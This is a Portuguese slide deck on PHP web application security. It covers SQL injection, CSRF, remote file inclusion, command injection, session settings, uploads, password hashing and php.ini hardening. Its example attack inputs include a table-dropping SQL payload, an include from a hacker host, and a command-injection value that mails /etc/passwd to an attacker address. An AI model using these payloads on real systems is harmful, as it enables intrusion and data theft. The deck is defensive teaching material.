  • 34. SQL Injection ' or '1'='1 SELECT * FROM users WHERE name ='' OR '1'='1'; ' or '1'='1' -- SELECT * FROM users WHERE name ='' OR '1'='1' --';
  • 35. SQL Injection a';DROP TABLE users; -- SELECT * FROM users WHERE name ='a';DROP TABLE users; --';
  • 36. SQL Injection - Protegendo-se <?php $stmt = $dbh->prepare("SELECT * FROM users WHERE name = :name"); $stmt->bindParam(':name', $txtName); $stmt->execute(); ● Suporte: ○ mysqli ○ PDO
  • 37. SQL Injection - Protegendo-se <?php $name = mysql_real_escape_string($name); $sql = "SELECT * FROM users WHERE name ='$name'"; ● Usar no caso de extensão padrão do Mysql para PHP
  • 39. CSRF - Definição Site malicioso dispara uma requisição/ação não desejada para um outro site no qual o usuário esteja logado.
  • 40. CSRF - Exemplos de ações ● Alterar a senha do usuário no site ● Realizar transferências bancárias ● Submissão de formulários
  • 41. CSRF - Principais focos ● Webmail ● Redes sociais ● Bancos ● Sistemas de pagamento online
  • 42. CSRF - Exemplos de Prevênção ● Captcha ● Verificar o Header "Referer" ● Token Sincronizado
  • 43. CSRF - Token <?php $randomtoken = base64_encode(openssl_random_pseudo_bytes(32));
  • 44. CSRF - Token <?php $randomtoken = base64_encode(openssl_random_pseudo_bytes(32)); $_SESSION['csrfToken'] = $randomtoken;
  • 45. CSRF - Token <form> ... <input type=’hidden’ name=’csrfToken’ value=’<?php echo($_SESSION['csrfTOken']) ?>’ /> ... </form>
  • 46. CSRF ● O Token CSRF é único por sessão. ● Utilize o token em todos formulários considerados “críticos”.
  • 48. Remote code injection ● Permite o atacante injetar códigos externos no fluxo de execução do script php. ● Explora: ○ include ○ require
  • 49. Remote code injection <?php include($_GET["page"]); ?>
  • 50. Remote code injection <?php include($_GET["page"]); ?> www.website.com/carrega.php?page=/dir-escondido/senhas. txt
  • 51. Remote code injection <?php include($_GET["page"]); ?> www.website.com/carrega.php?page=/upload-dir/arquivo.php
  • 52. Remote code injection <?php include($_GET["page"]); ?> www.website.com/carrega.php?page=http://hackersite.com/file.inc
  • 53. Remote code injection - Proteção <?php $whitelist = array('home', 'about'); if (in_array($_GET['page'], $whitelist)) { include($_GET['page'].'.php'); } else { include('home.php'); }
  • 55. Command Injection ● Permite o atacante injetar códigos shell maliciosos. ● Normalmente quando você usa o input do usuário para criar um comando shell.
  • 56. Command Injection <?php echo shell_exec('cat '.$_GET['filename']); ?>
  • 57. Command Injection <?php echo shell_exec('cat '.$_GET['filename']); ?> www.website.com/viewfile.php?filename=file.txt;ls
  • 58. Command Injection <?php echo shell_exec('cat '. $_GET['filename']); ?> www.website.com/viewfile.php?filename=file.txt;mail attacker@attacker.org </etc/passwd
  • 59. Command Injection - Proteção <?php echo shell_exec('cat '. escapeshellarg($_GET['filename']));
  • 60. Command Injection - Proteção <?php echo shell_exec('cat '. escapeshellarg($_GET['filename'])); OR echo shell_exec(escapeshellcmd('cat '. $_GET['filename']));
  • 62. Segurança de Sessão ● Flag httponly, php.ini: session.cookie_httponly = 1 Marca o cookie de sessão do PHP com httponly. Isso faz com que o novageador não exponha o valor deste cookie via javascript.
  • 63. Segurança de Sessão ● Flag use_only_cookies, php.ini: session.use_only_cookies = 1 Desabilita a possiblidade de setar o ID da sesssão via GET.
  • 64. Segurança de Sessão ● Flag cookie_secure, php.ini: session.cookie_secure = 1 Assegura que o cookie de sessão seja transmitido apenas por conexão segura.
  • 65. Session hijacking <?php session_start(); if (isset($_SESSION['HTTP_USER_AGENT'])) { if ($_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT'])) { /* Prompt for password */ exit; } } else { $_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']); }
  • 67. Upload de arquivos - Dicas Armazene os arquivos enviados fora do diretório raiz do app web.
  • 68. Upload de arquivos - Dicas Não confie cegamente no Content-Type, para definir que um arquivo seja realmente uma imagem.
  • 69. Upload de arquivos - Dicas <?php $imageinfo = getimagesize($_FILES['userfile']['tmp_name']); if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg') { echo "Desculpe, são aceitos somente imagens GIF e JPEGn"; exit; }
  • 70. Upload de arquivos - Dicas Não armazene os arquivos usando o nome original configurado no formulário. Gere um nome randômico ao salvar.
  • 72. hash e senhas Sempre usar hash para armazenar senhas em banco de dados.
  • 73. hash e senhas md5(), sha1() ?
  • 74. hash e senhas password_hash(), crypt() ?
  • 75. password_hash() ● >= PHP 5.5 ● Utiliza o algoritimo BCrypt ● Compatível com a função crypt()
  • 76. password_hash() <?php // geração do hash $hash = password_hash($senha, PASSWORD_DEFAULT); // verificando se o hash corresponde if (password_verify($password, $hash)) { // Sucesso! } else { // Credenciais Inválidas }
  • 77. password_hash() ● utilizar capacidade de 255 caracteres ● salt e cost são gerados pela API
  • 80. php.ini ● expose_php = off HTTP/1.1 200 OK X-Powered-By: PHP/5.3.3 Content-type: text/html; charset=UTF-8
  • 82. php.ini ● display_errors = off log_errors=On error_log=/var/log/apache/php_error.log
  • 84. php.ini ● allow_url_fopen = off previne remote code injections (include/require/file_get_contents)
  • 85. php.ini ● max_execution_time = 30 ● memory_limit = 40M
  • 86. php.ini ● max_execution_time = 30 ● memory_limit = 40M Evita ataques DOS
  • 87. php.ini ● disable_functions = exec,passthru, shell_exec,system,proc_open,popen, curl_exec,curl_multi_exec,parse_ini_file, show_source
  • 89. php.ini ● open_basedir="/var/www/" restringe o diretório onde o php pode manipular arquivos
  • 90. Perguntas ? douglas.pasqua@gmail.com http://www.douglaspasqua.com twitter: @dpasqua